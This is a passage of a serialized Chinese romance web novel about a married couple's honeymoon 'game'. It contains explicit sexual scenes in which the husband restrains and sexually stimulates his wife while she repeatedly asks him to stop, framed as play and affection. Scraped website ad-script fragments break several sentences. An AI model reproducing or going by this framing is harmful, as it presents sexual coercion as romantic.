柳絮回想这是借口吗?都要走了,还论什么资格不资格?惨然一笑:“这一年里我没做好的地方,你可以说出来。” “不!”阿闯有点急:“您很强,运筹帷幄的能力不在宫主之下,又待人宽仁,是很好的东家。” 真扎心啊! 是很好的东家,却仍然留不住你。 柳絮回泫然欲泣:“这样的东家,你都决意不跟了?” “阿絮。”阿闯轻轻唤了她一声。 他唤她“阿絮”!他又不叫她小姐了,但此刻柳絮回没注意,只听见阿闯一字一句道:“我不能跟着你,我不能一直跟着你。” 好吧,都讲得那么明了,她还能说什么呢?柳絮回眸光一沉,将泪意掩在眼底:“我知道了,你不用重复,什么时候走?” “明天。”阿闯再舍不得也得说出来:“明天…我就不陪小姐下山了。” 明天? 明天就要分道扬镳吗? 他竟然那么心急?都不要结算一下工钱,或者回去拿一下行李? 柳絮回没来得及说服自己阿闯要离开的事实,就被他着急要走的姿态给激怒。 被他丢在雪地里,柳絮回彻底寒心,甩袖走人,扔下冷冰冰两个字:“随你。” 196. 第 196 章 一片火红的树林,一弯碧蓝的寒潭。红林中,碧潭边,黄顶白漆的茅屋收尽初冬浓色。 风宿恒确实会选地方,不枉费他们翻山越岭来到此地。 “这是黄栌,冬令会变红,很美。”风宿恒推开篱笆门,带栖真进小院。 栖真步入院中,环视浓郁如油彩的美景,深山老林也有大自然慷慨的画作,林中烟燎气和潭水散发的寒冽香混在一起,沁人心脾。 风宿恒带她进屋,这茅屋古朴典雅,新造的,起码是长风破浪三倍大,外间通着净室,内间有一个很大的火炕。 栖真一见火炕眼睛就亮了:“以前带小包子去长白山旅游时睡过一次,热得我上火。” 风宿恒将包裹放到桌上,转身从墙边的架子上取了个木盆:“林中夜间寒凉,你纱布刚拆,受不得寒。” 白日里火炕自然是不燃的,栖真往炕上一坐,期盼地看向风宿恒。 看他打水进屋,利落地把整屋擦拭一遍。 好勤快! 三百工匠入驻长风谷,每日长风破浪人来人往,风宿恒不再夜宿小木屋,只说让人看到不好。而她每日累到倒头就睡,初时不觉得什么,时间一长心里就不得劲。今日好不容易应了诺,开开心心出来度蜜月,这人怎么就没激情?家具都被他擦出花来了,都没想到过来亲亲? 他们多长时间没亲热了? 难道风宿恒不该一进来就把她压在门板上这样那样吗? 屋里不脏,应该不久前打扫过,怎奈风宿恒擦得仔细。 好不容易擦完,栖真看他端盆出去,心想现在能亲亲了吧?她在床上坐了那么久,意思还不明显? 谁知片刻后,风宿恒提只活鸡进来:“午膳炖鸡汤?” 栖真抱臂,和警惕的母鸡对视,一时半刻不想说话。 风宿恒提鸡,不过在她面前多站一会儿,就从琐事中脱身,开始想别的了。戳戳栖真的脸,戳出个酒窝,动作有些轻佻,被栖真嫌弃地拍开:“拿鸡的手……” 风宿恒笑着提鸡出去。 栖真听着林中传来不甘的扑腾声,心想这是杀鸡?分明是煞风景! 索性出去逛一圈,见院中有鸡笼,缸里有活鱼,小仓库里满是新鲜的菜蔬,知道都是风宿恒提前备下的。这才收收气性,到灶台边想搭把手,谁知风宿恒不让。 等午膳时分三菜一汤上桌,栖真喝了口鸡汤,眯了眯眼,忽然道:“这味道我喝过的。” 神龙庙找到小包子后她栖身山野村屋,偶遇一户赶路的人家,又匀吃食又送衣才解她燃眉,那鸡汤味道和这一口何其相似。 风宿恒分了筷子刚坐下,淡淡哦一声。 栖真双眸一转,明白过来,促狭地看他:“青衣小轿坐得舒服吗?” 风宿恒给自己盛了碗汤,从善如流:“坐什么轿?在屋里陪了一夜。” 栖真搁碗,眸中迸出明显的恼意:“我还当山里有温泉,搞了半天,你那么早就偷窥我?” “偷窥?”风宿恒捡个鸡腿放她碗里,笑道:我光明正大地看啊。” 栖真扒拉着鸡腿,气鼓鼓地哎哎两声,嘟囔道:“就不是个君子。” 风宿恒语气很是理所当然:“反正活不长,不看白不看。” 汤是米其林三星,栖真却想拿米其林揍人。 饭后风宿恒去净房洗去杀鸡的腥气,换了身袍子,出来指着博古架道:“书都放这儿了。” 栖真坐在窗边,托腮看风景,头都不回:“不看书。” “还有棋。” “不下棋。” “茶也带了。” “不想喝。” 风宿恒笑出声,过来往椅子扶手上一撑,把人笼在身下:“不看书,不下棋,不泡茶,真真想做啥?” 栖真视线从院中斑斓的落叶上调回,语气不善:“你休息,我写书。” 万仞山开工后,营造之事由万叶飞统管,栖真不再费脑,便把精力放回书稿。 从废墟的残片里找出完好的,再把缺失的补全也是一项大工程。由颜心誊抄的完本《声律启蒙》和《佳文观止》已经交给容绽,跟他说好一月内交出后半部《西游记》,好继续付梓。 而这次出来度蜜月,容绽只当她得了风宿恒的允,回乡祭祖,月余就回。 入了冬,大帐挡不得寒,栖真让所有人下山住,好歹把这个冬日过了再说。柳絮回在郢业租了一处大院安顿大伙儿,容绽却执意留在山上,还跟栖真说不用赶路,让她快去慢回。 有容绽在,栖真确实能偷闲,没人知道她和风宿恒天亮前就开溜,跑山另一头去了。 风宿恒见栖真神色恹恹,便从架上取下茶具,又在屋角提了煨着的小泥炉,泡了两杯放到茶几上,在边上坐下道:“知道你回去要交西游,可也不用这般用功,出来第一天就写。” 他察言观色,回想今日自己什么地方没做好,便听栖真悠悠道:“得空嘛。”说完举杯闻了闻,嫌烫又放下了。 风宿恒看着她,摸索杯口,起了个无害的话题:“这些日阿闯找你找得勤,他之前怎么不跟柳絮回一起走?” 近日忙,没来得及和风宿恒细说,此刻见他问起,栖真道:“你觉得阿闯这人怎样?” 风宿恒道:“柳絮回挑的人,不得力也不会放在身边。” 栖真像起了点谈性,凑头过来道:“家宴那日阿闯来找我,知道他说了什么吗?” “求你让他多做事?” “差不多。”栖真道:“他说他想单干,我有生意上的点子教教他,他也可以像阿絮那样带人做出来。” 风宿恒抿了口茶:“他越过柳絮回来问你,不怕他东家着恼?” 栖真笑吟吟:“这事吧,他还真得越过阿絮。” “原来如此。”风宿恒撩起袍子翘起腿,好整以暇道:“他看上了柳絮回,不想跟在她身后亦步亦趋,想创一番事业,好匹配得上人家。” 栖真两指在桌上敲,扁了扁嘴:“什么好玩的事,到你嘴里都不稀奇了。” 风宿恒侧头:“他看柳絮回的眼神不同寻常。” 栖真回想半天:“什么时候?” 风宿恒道:“一直都是。” 栖真……… 包袱没抖成,栖真更加意兴阑珊,垂眼喝茶。 风宿恒瞧她那小样儿,也凑近道:“那眼神男人都懂,你不懂也没什么。” 栖真哦一声:“你也用那种眼神看人?” 风宿恒放低声音:“去驼暮山看了你一路,你不也没发觉?” 两人凑得近,栖真仔细看风宿恒眼中的柔光,想捉弄捉弄他,眨眼道:“肯定不是现在这种眼神。” 风宿恒闻着对面甜美的气息,声音暗哑下来:“是不一样。” “嗯,没必要一样了。”栖真退开,不待风宿恒接茬,在椅上坐正,转回适才话题:“你猜,我答没答应阿闯?” 风宿恒知她话里有话,转了转手上的青玉扳指,顺着道:“阿闯当日没跟柳絮回下山,应该得了你的真传,说吧,给他出了什么主意?” 栖真也不卖关子:“我让他在咱们火锅店旁置个铺子,先做点小生意。” 风宿恒笑:“做小生意可立不了大身家。” “能有多少身家,先看他这小生意能不能做成呗。” 风宿恒道:“想考验他?” 栖真手肘支在茶几上,托着下颌:“过去阿絮心思都在容绽身上,可单恋太苦了,我觉得也别在一棵树上吊死,多看看别的青年才俊,找个两情相悦的不好吗?可阿闯来跟我说这事的时候,我是有些犹豫的。” 风宿恒猜:“阿闯出身低微,你怕柳絮回看不上他?” “阿絮喜欢他,我看得出来。”栖真摇头:“阿闯虽然出身一般,但脑子活,有胆识。凭他那日敢来找我,坚定地说我让阿絮做的事,他也能做,只求我给个机会,我就觉得他是那种一旦开窍一发冲天的人。他说不用我投银子,只要我出点子,赚了钱和火锅店一样和万仞山分成。阿闯聪明在他明明可以彻底脱离万仞山出去做,但他偏不,而是来问我,这样他才能和絮回平起平坐。” 风宿恒明白阿闯这种人,过去要遇上,也会收归麾下好好调教:“阿闯有拼劲,和柳絮回又彼此倾心,你犹豫什么呢?” 栖真叹气:“阿闯和絮回都是认真的人,他们若在一起必定冲着成婚去。婚姻和恋爱不一样,不是一刹那的心动就能和和美美过一辈子,好多人批判门当户对,说是禁锢自由恋爱的门第之见,可结过婚的人都知道,那是真正的经验之谈。” 风宿恒挑眉,听她讲下去。 “两人婚前你侬我侬,等成了婚,面对的都是现实问题。即便他们未来不缺钱,可每日朝夕相处,除了感情,还得搭伙过日子,还得组团一起面对生活中的困难,光靠爱情哪够呢?” “他们从小到大生活背景悬殊,缺乏共同的话题和爱好,闲下来聊什么?聊生意?阿絮不能和我聊?聊各自的过去?总有聊完的一天吧。” 风宿恒笑出声:“你想得还挺多。” 栖真拍拍他手臂:“我知道你想说他们可以找话题,只要找不就有吗?可是宿恒,现实就是现实,现实就是当一个人出身富贵,另一个出身寒微,他们对金钱、地位、子女……很多问题的看法就不在一个层面。这种差异会在日常生活中无限放大,不是一句‘有情饮水饱’可以一言以蔽之的。” 风宿恒帮她把茶满上。 等茶不烫了,栖真才举杯轻抿:“结婚五十年为金婚,有人说所谓金婚就是有过一千次和离的念头最后没离成,过着过着,一辈子就过去了。我想要阿絮幸福,找个喜欢的男人固然重要,但在此基础上挑个门当户对的,她未来的生活才能更顺畅些吧。我不想他们激情过后,一个心里想什么,另一个都猜不到。” 说完,她瞥了一眼风宿恒,见他不答话,又道:“这些话,那日我跟阿闯也说了。” “你还跟他讲了?” “是啊。”栖真道:“我说我答应给你出点子,是欣赏你来找我的勇气,但这不代表我愿意帮你追絮回。感情的事,得看你俩缘分,旁人怎么说,也只是旁人意见而已。” “阿闯听了作何反应?” “谢谢我跟他说这些。”栖真道:“他事业也要人也要,说不足处他可以自我进益,可以改,可以学。他说阿絮站在那里就好,他会努力向她靠近。若这个都做不到,他又凭什么去爱她。”栖真莞尔:“别说,男人有担当的时候,真还挺帅的。” 风宿恒微哂:“帅吗?” 栖真往椅背上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一靠:“一桩婚姻要靠一方向另一方靠拢才能成,挺累的,但道理归道理,总有人定胜天的时候,兴许他们可以成为例外呢。” 风宿恒忽然问:“你是不是更希望柳絮回和容绽在一起?” “也不是。”栖真咬唇,目光定在茶几上,半晌才道:“阿绽……这次回来变了好多,以前我多多少少还能猜到他在想什么,现在……”摇头:“真地看不懂他。” 前段时间趁药王谷的素青还在,她想让容绽治眼睛,结果被他婉拒,她提了几次,他就拒绝几次,只说不用,都习惯了。 都习惯了……这什么理由? 这次回来容绽做事更勤勉,人也更冷,整日不苟言笑,开会时别人兴许还会同栖真说笑,对他却不敢造次。 因为容绽的存在,如今她“可能宫宫主”的身份深入人心,只因无论人前人后,他都对她态度恭敬,口称“宫主”。 容绽起了表率,渐渐的,别人不敢再呼栖真大名,于是这声“宫主”叫得越发约定俗成。 而容绽自己,也再没叫过她一声“栖真”。 风宿恒眼睁睁看着栖真说到容绽就开始走神,好像忘了旁边还有人,他不出声,就静静瞅着她,待手上扳指缓缓转了二十三圈,才见栖真不着痕迹叹一声,又把话题绕回来:“点子给了阿闯,昨日他就下山了,后面做不做得成,看他造化。” 言罢,一时不知说什么,栖真道:“我写书去了哈。” 风宿恒却按住她手:“你们那儿度蜜月,不带干活的吧?” 栖真似笑非笑:“一般蜜月都是婚礼后,没有成婚半年后的。” 风宿恒像不耻下问的好学生:“成婚半年出去玩,就不能算度蜜月了?” 栖真对他抬了抬眉:“大概在一起时间长,甜蜜就少了,怎么度都挤不出来了。” 风宿恒一顿,倏忽提议:“真真,咱们玩个游戏。” 栖真意外:“什么游戏?” “你说成婚时间长,甜蜜就少了,我纵使不同意,但你姑且说之,我反驳也是无用,但我觉得正因两人万分熟稔,倒可玩点新东西。” 风宿恒见栖真脸上浮现好奇,继续道:“你曾说人和人的关系是浮动的,我俩也无需时刻一种方式相处,探一探别的关系,兴许是片新天地?这里不会有人来,就我俩,不妨玩上一把?” 栖真奇了怪了:“除了夫妻,我们还能是什么关系?” 风宿恒笑着顺顺她的发:“情人间,也有很多不同的相处之道。” 栖真觉得有点意思,笑道:“行啊。”想了想又问:“游戏都有规则,你这么说,是不是规则都想好了?” 风宿恒:“以三日为限,每日换一种相处方式,三日内不中断、不探讨、不能玩不起。无论喜恶,只管继续,一切三日后再说。” 栖真呵了一声。 玩不起? 她像玩不起的人? 有点意思啊! 对一个做游戏的人来说,玩游戏这事本身就足够吸引她,栖真语带挑衅:“相处方式谁来定?” 风宿恒从博古架上取过骰子盒:“赌点数,输的人想一个,赢的想两个,写在三张纸条上,给我看。” 栖真奇道:“给你一个人看?” “对。”风宿恒道:“我一个人看。” “为啥?” 风宿恒捏捏她脸颊:“就这么玩的,不为啥。” 任何一种关系都有主导方和被动方,风宿恒看过三张纸条,便是这个游戏的主导方,而栖真因为不知对方写了什么,所以三日中起码有一日,她是不知道到底在玩什么模式的,于她反倒是种乐趣。 “好。”想明白此节,栖真越发期待,憋不住笑:“可以。” 风宿恒把骰子盒往她面前一放:“你先来。” 栖真单手猛摇,啪地放下盒子,开盖——一个一点,一个二点,“哈,你不可能比我更小了。” 风宿恒盖起盒盖,也抬手摇了数下,栖真看了大笑:“这概率都被你碰上?” 盒中赫然两个一。 风宿恒挺无奈:“还是你手气好。” 栖真美美从架上取过白纸,撕了三个纸条,嬉笑道:“就占这点便宜了。”再一次确认:“我可以写两个?现在就写?” 风宿恒道:“游戏明日开始,晚膳前给我就成。” 因为有事做,栖真郁闷顿消,做了各种设想,偷瞄风宿恒时还神秘偷笑,终于在晚膳后把两个叠得整整齐齐的纸条交出去。 风宿恒想当场拆,被栖真一把按住:“别,去另间看。” 风宿恒便取了三个纸条去内间,一会儿回来,脸上也没特别表情,把纸条放到骰子盒里,把盒放回架上,叮嘱道:“三日内不许看,哪一日玩哪个我来定,你不能问。” 栖真其实完全OK,表面却不服气:“啊啊啊,都你说了算?” 风宿恒:“就我说了算。”说着收拾碗筷,点两盏灯笼要去外间洗。栖真想作陪,风宿恒阻道:“外面冷别出去,早点上炕等我。” 栖真帮他提灯笼推开门,在刮进的冷风里缩脖子:“大容王度个蜜月不容易,一百样自己动手。” 风宿恒指尖发痒,又想捏她脸,临去前温声道:“这些活算什么?就想和你过点小日子。” 197. 第 197 章 纵使情侣间也有很多不同的相处方式——风宿恒的话栖真非常同意,他能想出这招,她还挺佩服,隔日要春游的小朋友一样,暗戳戳期待一晚上。 翌日起床两人心照不宣,栖真也不问今日玩哪种模式,风宿恒自然更不会讲。 穿衣洗漱用早膳,栖真暗中观察,觉得风宿恒除了少些笑容,似乎也没什么不同。 莫非……今日玩的是他的纸条? 栖真猜测着,因为对方过于平静,甚至让她产生一种“他不会忘了今天要玩游戏?”的疑惑。 早膳后,风宿恒坐到窗边暖榻上:“取棋子来。” 栖真瞅一眼博古架,又瞅瞅他,有点不可思议:“下棋?” 风宿恒定定看着她。 栖真只好转身拿棋,心中飘起不祥的阴云——难道风宿恒写的是耋耄夫妻的相处模式? 围棋栖真自然是会的,不仅会,头脑里至少还存着几十套棋谱,来中土都没机会跟人切磋。 正因为会,栖真执黑时还在琢磨,风宿恒为何想下棋呢?啊,为了提前让她感受弈棋喝茶泡脚黄昏恋? 也挺好……栖真索然无味地落子,既然是黄昏恋,节奏就该舒缓,心态就要放平,何必计较输赢与得失。 ………… 等看清风宿恒布局,栖真才后知后觉发现,是不是想岔了? 什么节奏舒缓?什么不计较得失? 一局棋分布局、中盘和收官。风宿恒布局时已然展露锋芒、占角凶猛,有些子下的她都要好生琢磨,都是脑中棋谱里没有的路数,有的子下的栖真完全看不懂,觉得下在那里好生诡异。 栖真终于收齐轻慢心认真应对,可她以为的中盘,于对方已是收官。因为看不懂的奇诡落子,直到被凄惨收割,栖真才恍然大悟这几子底用什么用意。 风宿恒长指啪,落下最后一子,漫声道:“你输了。” 栖真钻研棋盘,半晌才抬头看他。 风宿恒无多余表情,道:“再来。” 栖真见他完全不解释自己棋路,也没自谦的表态,原本还想讨教讨教或赞叹赞叹的心便缩了回去,默默点头。 只在心里大抵推翻了之前的猜测。 不可能是黄昏恋! 杀得这么凶,年纪大了血压不得高上来? 所以是……师徒恋? 啊,很有可能! 晶莹的黑子摸索在指尖,栖真越想越觉得没错——难怪风宿恒一早不苟言笑,在她面前展现雄浑的棋力,原来是存杀她片甲不留,让她心甘情愿拜师的心? 栖真偷偷抬眉瞥一眼风宿恒,视线被他盯个正着。 风宿恒也在看她。 请君入瓮,等她甘拜下风好拜师吗? 栖真笑了笑,下了一子。 第二局,是顶着压力下的。 栖真自认棋力不弱,以前都是她把易郄杀到讨饶,但高手过招,下一盘就知对方段位。风宿恒中盘控得太稳,根本抵不过他掌控全局的能力。 风宿恒没出一声,单凭这手棋,已然展现王者之气。 昨日至今,他打扫、烧饭、洗碗一个不拉,十足居家好夫君的模样,一上棋盘却变个人,运筹帷幄,杀伐凛冽,毫不留情。 纵使输得没面子,栖真嘴角都微微翘起,没办法,谁叫她喜欢他的强,如果待会儿风宿恒要她拜师,拜就是了,跟他学棋她也不亏。 这一分神,下一步就下错了。黑子刚落地,指尖刚离棋,栖真就意识到自己下错。 “不对不对。”忙捡起棋子,放到原本要下的地方去。 “谁让你悔棋?”风宿恒语气是前所未有的冷。 栖真意外,发现他目光和声音一样冷。 栖真指上撵着那枚棋,有点尴尬,笑道:“我原本就要下那里,一晃神下错了嘛。” “落棋不悔,怎能出尔反尔?” 栖真双手合十:“不是有意的,夫君绕过这次。” 风宿恒道:“不行。” 栖真…… 风宿恒一本正经说“不行”的样子还挺逗,栖真憋不住笑:“就一颗子,别上纲上线,刚放下就拿起来了啊。” 风宿恒平静无波,目光没有温度,好像她多耍赖似的,栖真不买账了,对风宿恒做个鬼脸,把棋一搁:“我就下这儿了。”你能拿我咋滴? “跪下。”风宿恒道。 栖真想掏掏耳朵,啥?我是不是听错了?她收起嬉笑,疑惑地看着面前的男人。 风宿恒面无表情:“跪下。” “为什么要跪?”栖真有点被他整不会了,一挑下巴:“你让我跪就跪?为了一步棋?” 风宿恒道:“不要让我说第三遍。” 他说得慢,语气不见起伏,可正是这般冷,任谁听了都知道他来真的。 栖真也冷下脸,叫了一声:“风宿恒!” 很少连名带姓,可一旦叫就是警告,别玩过火,她不跟他计较,但再用这种语气说话,她要生气了。 两相对峙间,风宿恒将手中棋子往桌上一放:“跪下。” 气势十足,把栖真吓一跳。 跪个屁! 他以前说过只要他在,她在中土就一辈子不用跪?如今为了一步棋对她凶,还莫名其妙要她跪? 栖真怒火直冲脑门,一扔棋子起身走人。 不跟你吵,但我也不想跟你一起发神经,我走还不行吗? 甩袖出门,谁知还没跑出小院,身后一股大力把她抵在院中木桌上。 那力道一点没客气,栖真磕在桌上,脸火辣辣地疼。 彻底把她激怒,“风宿恒,发什么疯?放开我!” 可怎么都挣不开抵在她背上的一掌,大掌将她牢牢按住,和雄狮一爪按住小耗子没什么区别。 男人山岳般的身躯覆下来,在她耳边沉声:“不听话,就要受罚。” “凭什么听你的?”栖真气得眼泪快掉下来:“放开我!” 心惊又委屈,这人为为啥忽然对她凶?认识以来,风宿恒没对她那么凶过的。 “叫主人。”背后的声音不带感情地下令,像刮过冰原的风,高压又冷酷。 栖真终于知道风宿恒在玩哪出了,没想到这滋味那么难受,他真对她凶,她居然这么难受!< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>不仅脸疼,胸口都开始疼起来,栖真带着一丝求饶意味:“疼,压到胸口了。” 身后力道没减轻半分,风宿恒还在重申:“叫主人。” 栖真惊了,风宿恒真能对她下狠手?养伤时尽心竭力照顾,如今玩游戏,他居然敢压着她伤口处? 陷在一片震惊中,身后人松开了抵在她背上的手,进袍子里捅了一下。 栖真尖叫:“风宿恒!” “叫不叫?” 风宿恒将她牢牢压在桌上,抓住手举过头顶。 栖真受不了,他让她跪不够,按在桌上不够,还敢这样欺负她?“放开我,听到没有!不要再弄了,不要了!” 风宿恒没放过她,速度越来越快,栖真哭喊渐渐夹杂异样的喘息,是被他弄疯后她自己都没察觉的鼻音。 外间寒凉,栖真浑身燥热,汗水从额头淌下,活脱脱气出来的。 争不过他,但不甘心把主动权轻易交出去,交出去就输了。 在某一瞬间崩溃不期而至。 等眼前黑雾散去,栖真逐渐找回神智。被翻转过来面对面,她的汗湿、泪水、喘息,对上他的残酷、无情、冷漠。 “听不听话?”风宿恒撅住她下巴,在她脸上扫视。 栖真狠狠瞪着这个男人,像没认识过他,混乱又不敢置信。 她承认自己挖的坑,可她以为只是一个很浅的小坑,没想到跳下去居然是马里亚纳海沟。 栖真控制着怒意,再一次软声求饶:“宿恒,不玩了好不好?一点不好玩,我不想玩了。” 风宿恒把她拽起来拉回室内,把四张凳子相抵,拼成一个十字,把栖真圈在中心、四张凳子围起来的方寸之地。 “听好了。”风宿恒道:“我出去一次,半个时辰回,你就待在这里,不许出来。” 栖真还在为前一趴抽泣,就被他又拖椅子又下令的操作再次弄懵。 什么意思?他要她在这四分之一平米的地方待一个小时? “听明白吗?” 栖真跺脚:“滚滚滚!” 风宿恒指了指栖真站的地方,带着威胁的神态,一挑眉出屋去。 栖真一踢面前凳子,从他画的“牢”中逃出来,坐到炕上。 气炸了! 她脑子进水还是抽住了,居然同意风宿恒玩游戏,好好蜜月不过,自己找虐。 更想不通,风宿恒为何这般顶真?翻脸比翻书快,不过片刻工夫,有求必应、温和可亲、眼中总是满满爱意、笑着叫她“真真”的风宿恒就消失不见。 过去他也欺负她,但那种欺负打引号的,如柔情蜜意花园中长出的小细藤,如胶似漆时沁人心脾的小情趣,可适才他的所作所为不断刷新下限,一再向她昭示他是来真的。 欺负是真的,逼迫是真的;要她跪,要她痛,要她喊主人也是真的! “变态!混蛋!欺人太甚!”栖真难解心头恨。 还有这凳子拼出来的“牢”,天才啊,亏他想得出来,怎么不拿笼子囚禁她呢? 风宿恒你完了!现在尽管浪,等游戏结束别想有好日子过,姑奶奶跟你没完。 198. 第 198 章 风宿恒说好半个时辰回就半个时辰回,跨进屋时,栖真就大喇喇坐在炕沿,冷冷瞪他。 两人对视一眼,风宿恒把包裹放到外间桌上。 栖真眯了眯眼,所以……他是回去拿东西了? 风宿恒脱下大氅,随手搁在椅背上,走到栖真面前,居高临下地俯视:“我适才说的,为何不做?” 栖真倔强地别开眼。 下巴被他掰回来,风宿恒强迫她看他,宣布道:“今日我是你的主人,说的话你要照做。” 栖真唾弃道:“谁认你!” 风宿恒手下用力:“栖真,别玩不起。” 栖真抓住他的手,脸上印子都要被掐出来了:“不用激我,我就是不想玩了。” 风宿恒:“由不得你。”点燃外间两个取暖的炭盆,盖上烟盖,关上门窗,在栖真冷眼旁观不知他意欲为何时,风宿恒又回内间拉起她,扒她身上袍子。 栖真急了,紧紧抓住襟口:“做什么?” 很快身上锦袍就被风宿恒扒下,只留雪白的中衣和亵裤。 他拉她出去,掼到椅子里。 手腕好疼,栖真撩起袖子,真地一圈红,她揉着腕,半个时辰内好不容易筑起的心理防线又被风宿恒毫不怜香惜玉的做派踹倒,火气又像沸腾的岩浆往上冒。 “别过分啊,你再……”栖真抬头吼,瞬间断了片。 就见风宿恒从包裹里取出一段红色的麻绳,拉开绳结,慢慢抖开。 完了……她知道他要做什么了。 栖真惊恐地吞咽,视线从麻绳扫到风宿恒身上,看着他一步步站到面前,把她逃生的路彻底封死。 “不想玩就是玩不起。”风宿恒道:“我们说好的,是不是?” 栖真紧紧贴着椅背,像惨遭汤姆威胁寒毛直竖贴墙的杰瑞,头皮发紧,手心汗湿,肾上腺素狂飙,脸涨得通红。 风宿恒拿着绳,在她面前停顿,不是留给她时间逃离,更像铡刀落下前予人释放恐惧。 栖真瑟缩,叫了一声:“宿恒……” 语气着实可怜。 可没用!风宿恒直接动手,一圈又一圈把她捆上了。 不是栖真不想逃,而是过程中风宿恒一直凝视她的眼,视线很重,将她压在椅背上,他光用眼神就把她震住了。 对视中,栖真确实产生一种前所未有的感觉,风宿恒在她脑海里强硬地按下一个隐蔽的按钮,释放出一些从未体验过的情绪,她有足够的余地和强大的自我去容纳这种感觉吗? 栖真觉得乱。 风宿恒手上速度不减,连着身体和双臂,把她上半身牢牢捆在椅背上。这种工字捆法很巧妙,突出重点,实在羞人。 气到发疯或摇尾乞怜都已无用,纵使再羞栖真也不得不另换路数,她挑衅地看向风宿恒:“捆得那么熟练,以前在别人身上试过?” 风宿恒将她腰部的绳子抽出:“包过粽子。” 栖真咬唇,控制自己不笑出声,这人面无表情说冷笑话的样子啊……纵使这般窘迫境地都让她心动。 此刻两人身体挨近,只要脖子前倾一点,就能亲上风宿恒的耳尖。 才被风宿恒一顿蹂躏,明明还在气头上,可只要这人一凑近,一闻到他身上熟悉的气息,栖真就莫名软下来。 此刻栖真感觉太复杂,没空去想自己情绪的转变到底遵循一个什么逻辑,兴许面对这个男人,唯有爱恨,从来没有逻辑。 可现实就是现实,她想笑,风宿恒却不受影响,照旧冷若冰霜,他甚至直接抬起她的腿,捆在扶手上。 栖真惊呼,羞耻还有比较级,一山还有一山高,他到底要做什么?这姿势她完全接受不了。 没有一个女人被迫幽门大开,还能坦然处之。 “风宿恒,你干什么?”栖真终于意识到危机,用力挣动起来,但晚了,风宿恒把她乱踢的另一条腿也照样绑上。 “不听话就要受惩罚。”风宿恒捆完,居然还在面前好生欣赏一番。 “松开!我听话还不行吗?”栖真受不了这副不堪入目的样子被他看在眼里。 他当她什么?随意折辱的女奴吗? 风宿恒抱臂:“叫主人!” “呸。” “瞧,还是不听话。”风宿恒摇了摇头,返身从包裹里取出一物。 栖真一看,又有点懵。 这是一束硬制的黄草。 也不知什么草,细细一把,一头用绳扎着,另头散开。 ……派什么用? 莫非他要拿一捆细草抽她? 风宿恒拖过把椅子,在她面前坐下:“给你两个选择,要么叫主人,要么如实回答问题。” 栖真宁死不屈:“做梦。” “好!”风宿恒用稻草在手掌里示威般地拍:“那回答问题——双龙峡落下巨石,你是救我,还是救容绽?” 栖真……… 我特么…… 这人一本正经来这一出,还当他要问什么高深的东西,闹了半天这么小学鸡吗? 若非此刻场景诡异,栖真真地要笑场了,一时不知作何表情,即有憋不住的笑,又有受不了他的无力,还有被他无礼对待的恼意。 可无论栖真怎么觉得,坐在对面的风宿恒只是冷冷目视,好像他问的是世上最正经的问题。 这般目光下栖真也笑不出来了,没好气道:“巨石落下,也是你们救我吧?两个大男人神功盖世,还要我救?” 她话音未落一声惊喘,只因风宿恒用稻草捆扎的那头,直接戳在她胸上。 现下身上单薄,被绳子勾勒,这画龙点睛的一戳直接把她戳硬了,白色中衣上十分明显的凸起。 栖真鸡皮疙瘩掉了一地,这种伤害不大侮辱性极强的招数风宿恒怎么想出来的?纵使想出来,怎么就能面不改色往她身上使? “别废话,回答。”风宿恒用硬制的草头在那地方捻了捻。 栖真血色直冲脑门:“救你!” 谁知风宿恒把草头下移,用上端颠了颠她的凸起,似乎对答案并不满意。 栖真受不了他变态样,赶忙变答案:“救容绽!” 风宿恒翘起二郎腿,左手手肘支在腿上,手掌撑住下巴——不过一个动作,便从正经人变成惯玩风流的纨绔。 不变的是神情,他冷冷问:“为何先救容绽?” 栖真喘了口气:“我俩一起的,当然先救别人。”好东西当然拿出来招待客人,我俩一条船上的,当然先救外人。 风宿恒像是满意了,抽回草把。 “第二问。”风宿恒继续道:“若重离要带你去他的时代,你去还是不去?” 栖真就差翻白眼。 “我去他的时代做什么?我又不是他那个时代的人!” 风宿恒哼了一声:“若他可以再次送你回到你的时代呢?” “没有这个可能了,他说过……” “世事变化快,别管能不能,你只需回答,回不回!” 如果重离跟她说,他有能力再次将她送回去,她回是不回? 栖真一犹豫,风宿恒将草把转一头,用散开的细草挠上她洞开处,在前端敏感的地方轻搔,触感比上手拨弄还要让人无法承受,栖真抗拒地想并拢腿,怎奈被捆得结实,难过地在椅上扭了扭身体想躲开,又怎么躲得开?栖真泫然欲泣,赌气道:“你再这么欺负我,我就回!” 风宿恒稍稍坐正:“你回不回,取决于我怎么待你吗?” 栖真脱口:“否则呢?否则我在这里的意义是什么?” 风宿恒看了她很长时间,忽然道:“不许。” “什么?” “不许回去。” 他一个字一个字认真说出来,反倒让栖真听愣。 “无论发生什么事,都不许回去。” 栖真轻咳一声,偏过头,一时被风宿恒霸道又明确的说法震地无语,心头浮起异样,风宿恒真地在玩游戏?? 兴许是她的走神让人误会,草把递进几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 分,上下挠搔起来。 “别!啊,不要!”汗出了一拨又一拨,中衣浸湿紧贴身上,她像一尾网中鱼,被越收越紧,怎么都挣不脱。 “你发誓无论如何都不回去,我就放过你。”风宿恒道。 她原本就没想回去,她原本就要留在中土,都嫁给他了,她怎么可能离开?可是被逼出来的算什么真心话?他越逼,她越不想说,便在持续的折磨中,委屈急速高涨,瞬间将她淹没,成串的泪珠落下来,她控制不住了,在拨弄下再次高潮。 过后栖真紧闭双眼,哽咽得不能自己。 不想看风宿恒的冷漠,不想看自己的狼狈,游戏已经变质,这一段根本没有爱,而是单方面的凌虐,她再不敢相信风宿恒会这么对她也是无可奈何。 风宿恒到底在做什么?打碎她?玷污她?让她抛弃自我,对他俯首称臣?可他爱的又是哪一个?是不是平时的她? 如果那样一个她可以很好地吸引风宿恒,为何他现在又要亲手打破,逼她屈服,非要看一看她别的样子呢? 泪水流得凶猛…… 到底是他想看到更多面的她,还是她认知的风宿恒,一直以来都不够? 所以她根本没想到风宿恒能有心肠如此冷硬、性格如此变态的一面。 就在栖真完全沉浸在混乱中,耳边响起男人的声音:“把自己交出来没那么难,别把自己当受害者,试着给我更多信任。” 他这么对她,还说是她对他不够信任? 